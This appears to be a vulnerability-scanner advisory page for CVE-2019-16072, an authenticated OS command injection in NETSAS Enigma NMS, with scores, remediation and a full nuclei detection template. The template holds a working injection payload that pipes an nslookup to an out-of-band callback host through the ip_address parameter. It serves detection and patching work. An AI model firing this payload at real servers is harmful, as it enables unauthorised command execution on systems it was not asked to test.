Enigma NMS < 65.0.0 - Authenticated OS Command Injection

criticalseverity

9.8CVSS score

25.9%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

An OS command injection vulnerability in the discover_and_manage CGI script in NETSAS Enigma NMS 65.0.0 and prior allows an authenticated attacker to execute arbitrary code because of improper neutralization of shell metacharacters in the ip_address variable within an snmp_browser action.

Impact

Attackers can execute arbitrary code on the server, potentially leading to full system compromise.

Fix

Update to the latest version of NETSAS Enigma NMS or apply security patches that fix input sanitization.

How to confirm it

Send: GET /cgi-bin/protected/main.cgi
Positive when: contains in response "ENIGMA NMS"
Send: GET /cgi-bin/protected/discover_and_manage.cgi?action=snmp_browser&hst_id=none&snmpv3_profile_id=&ip_address=|nslookup+{{interactsh-url}}&snmp_ro_string=public…
Positive when: contains(tolower(body), "snmp") || status_code == 200 and contains(interactsh_protocol, "dns")

Run it with nuclei: nuclei -id CVE-2019-16072 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-16072

info:
  name: Enigma NMS < 65.0.0 - Authenticated OS Command Injection
  author: 0x_Akoko
  severity: critical
  description: |
    An OS command injection vulnerability in the discover_and_manage CGI script in NETSAS Enigma NMS 65.0.0 and prior allows an authenticated attacker to execute arbitrary code because of improper neutralization of shell metacharacters in the ip_address variable within an snmp_browser action.
  impact: |
    Attackers can execute arbitrary code on the server, potentially leading to full system compromise.
  remediation: |
    Update to the latest version of NETSAS Enigma NMS or apply security patches that fix input sanitization.
  reference:
    - https://www.exploit-db.com/exploits/47202
    - https://nvd.nist.gov/vuln/detail/CVE-2019-16072
    - https://web.archive.org/web/20201220124431/https://www.mogozobo.com/?p=3647
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-16072
    cwe-id: CWE-78
    epss-score: 0.25853
    epss-percentile: 0.97992
    cpe: cpe:2.3:a:netsas:enigma_network_management_solution:*:*:*:*:*:*:*:*
  metadata:
    verified: false
    max-request: 2
    vendor: netsas
    product: enigma_network_management_solution
  tags: cve,cve2019,authenticated,enigma,nms,oast,oob,vkev,vuln

flow: http(1) && http(2)

variables:
  username: "{{username}}"
  password: "{{password}}"

http:
  - raw:
      - |
        GET /cgi-bin/protected/main.cgi HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: response
        words:
          - "ENIGMA NMS"
        internal: true

  - raw:
      - |
        GET /cgi-bin/protected/discover_and_manage.cgi?action=snmp_browser&hst_id=none&snmpv3_profile_id=&ip_address=|nslookup+{{interactsh-url}}&snmp_ro_string=public&mib_oid=system&mib_oid_manual=.1.3.6.1.2.1.1&snmp_version=1 HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(username + ':' + password)}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(body), "snmp") || status_code == 200'
          - 'contains(interactsh_protocol, "dns")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from